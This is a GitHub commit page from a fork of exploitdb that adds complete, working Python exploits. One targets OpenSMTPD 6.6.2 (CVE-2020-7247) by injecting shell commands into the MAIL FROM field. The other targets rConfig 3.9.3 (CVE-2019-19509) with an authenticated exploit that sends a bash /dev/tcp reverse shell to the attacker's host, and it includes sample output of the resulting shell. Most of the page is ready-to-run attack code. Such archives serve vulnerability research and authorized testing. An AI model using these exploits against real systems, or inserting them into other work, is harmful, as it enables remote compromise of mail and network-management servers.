forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
3 changes to exploits/shellcodes OpenSMTPD 6.6.2 - Remote Code Execution rConfig 3.9.3 - Authenticated Remote Code Execution Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes)
- Loading branch information
Offensive Security
committed
Jan 31, 2020
1 parent
3b5a0d9
commit 9f56865
Showing
5 changed files
with
575 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
# Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution | ||
# Date: 2020-01-29 | ||
# Exploit Author: 1F98D | ||
# Original Author: Qualys Security Advisory | ||
# Vendor Homepage: https://www.opensmtpd.org/ | ||
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1 | ||
# Version: OpenSMTPD < 6.6.2 | ||
# Tested on: Debian 9.11 (x64) | ||
# CVE: CVE-2020-7247 | ||
# References: | ||
# https://www.openwall.com/lists/oss-security/2020/01/28/3 | ||
# | ||
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately | ||
# escape dangerous characters from user-controlled input. An attacker | ||
# can exploit this to execute arbitrary shell commands on the target. | ||
# | ||
#!/usr/local/bin/python3 | ||
|
||
from socket import * | ||
import sys | ||
|
||
if len(sys.argv) != 4: | ||
print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0])) | ||
print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0])) | ||
sys.exit(1) | ||
|
||
ADDR = sys.argv[1] | ||
PORT = int(sys.argv[2]) | ||
CMD = sys.argv[3] | ||
|
||
s = socket(AF_INET, SOCK_STREAM) | ||
s.connect((ADDR, PORT)) | ||
|
||
res = s.recv(1024) | ||
if 'OpenSMTPD' not in str(res): | ||
print('[!] No OpenSMTPD detected') | ||
print('[!] Received {}'.format(str(res))) | ||
print('[!] Exiting...') | ||
sys.exit(1) | ||
|
||
print('[*] OpenSMTPD detected') | ||
s.send(b'HELO x\r\n') | ||
res = s.recv(1024) | ||
if '250' not in str(res): | ||
print('[!] Error connecting, expected 250') | ||
print('[!] Received: {}'.format(str(res))) | ||
print('[!] Exiting...') | ||
sys.exit(1) | ||
|
||
print('[*] Connected, sending payload') | ||
s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8')) | ||
res = s.recv(1024) | ||
if '250' not in str(res): | ||
print('[!] Error sending payload, expected 250') | ||
print('[!] Received: {}'.format(str(res))) | ||
print('[!] Exiting...') | ||
sys.exit(1) | ||
|
||
print('[*] Payload sent') | ||
s.send(b'RCPT TO:<root>\r\n') | ||
s.recv(1024) | ||
s.send(b'DATA\r\n') | ||
s.recv(1024) | ||
s.send(b'\r\nxxx\r\n.\r\n') | ||
s.recv(1024) | ||
s.send(b'QUIT\r\n') | ||
s.recv(1024) | ||
print('[*] Done') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,75 @@ | ||
# Exploit Title: rConfig 3.9.3 - Authenticated Remote Code Execution | ||
# Date: 2019-11-07 | ||
# CVE-2019-19509 | ||
# Exploit Author: vikingfr | ||
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig) | ||
# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh | ||
# Version: tested v3.9.3 | ||
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24 | ||
# | ||
# Notes : If you want to reproduce in your lab environment follow those links : | ||
# http://help.rconfig.com/gettingstarted/installation | ||
# then | ||
# http://help.rconfig.com/gettingstarted/postinstall | ||
# | ||
# $ python3 rconfig_CVE-2019-19509.py https://192.168.43.34 admin root 192.168.43.245 8081 | ||
# rconfig - CVE-2019-19509 - Web authenticated RCE | ||
# [+] Logged in successfully, triggering the payload... | ||
# [+] Check your listener ! | ||
# ... | ||
# $ nc -nvlp 8081 | ||
# listening on [any] 8081 ... | ||
# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458 | ||
# bash: no job control in this shell | ||
# bash-4.2$ id | ||
# id | ||
# uid=48(apache) gid=48(apache) groups=48(apache) | ||
# bash-4.2$ | ||
|
||
#!/usr/bin/python3 | ||
|
||
import requests | ||
import sys | ||
import urllib.parse | ||
from requests.packages.urllib3.exceptions import InsecureRequestWarning | ||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | ||
|
||
print ("rconfig - CVE-2019-19509 - Web authenticated RCE") | ||
|
||
if len(sys.argv) != 6: | ||
print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort") | ||
exit() | ||
|
||
target = sys.argv[1] | ||
username = sys.argv[2] | ||
password = sys.argv[3] | ||
ip = sys.argv[4] | ||
port = sys.argv[5] | ||
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port) | ||
|
||
request = requests.session() | ||
|
||
login_info = { | ||
"user": username, | ||
"pass": password, | ||
"sublogin": 1 | ||
} | ||
|
||
login_request = request.post( | ||
target+"/lib/crud/userprocess.php", | ||
login_info, | ||
verify=False, | ||
allow_redirects=True | ||
) | ||
|
||
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False) | ||
|
||
if dashboard_request.status_code == 200: | ||
print ("[+] Logged in successfully, triggering the payload...") | ||
encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload)) | ||
print ("[+] Check your listener !") | ||
exploit_req = request.get(encoded_request) | ||
|
||
elif dashboard_request.status_code == 302: | ||
print ("[-] Wrong credentials !") | ||
exit() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.